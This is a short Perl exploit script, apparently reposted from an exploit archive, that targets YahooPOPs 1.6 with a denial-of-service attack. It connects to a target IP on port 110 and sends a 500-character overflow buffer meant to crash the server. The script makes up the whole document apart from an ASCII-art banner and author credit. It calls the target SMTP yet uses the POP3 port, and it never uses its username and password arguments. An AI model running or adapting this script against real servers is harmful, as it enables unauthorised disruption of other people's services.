Exploit for YahooPOPs 1.6 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:176784
use IO::Socket;  
  
sub intro {  
print q {  
  
,--,  
_ ___/ /\|  
,;'( )__, ) ~  
// // '--;   
' \ | ^  
^ ^  
  
[+] YahooPOPs 1.6 - SMTP - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: fernando.mengalli@gmail.com  
  
}  
}  
  
intro();  
  
  
if (!$ARGV[0]) {  
print "\nUsage: $0 <ip> <username> <password>\n";  
exit(0);  
}  
  
my $host = $ARGV[0];  
my $username = $ARGV[1];  
my $password = $ARGV[2];  
my $port = 110;  
my $payload = "A" x 500;  
  
my $ip = inet_aton($ARGV[0]);  
  
my $socket = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
Timeout => 10  
);  
  
unless ($socket) {  
die "[+] socket() error: $!\n";  
}  
  
print "[+] YahooPOPS SMTP detected, constructing the payload\n";  
  
unless ($socket->send($payload)) {  
die "[+] Sending error, the server probably rebooted.\n";  
}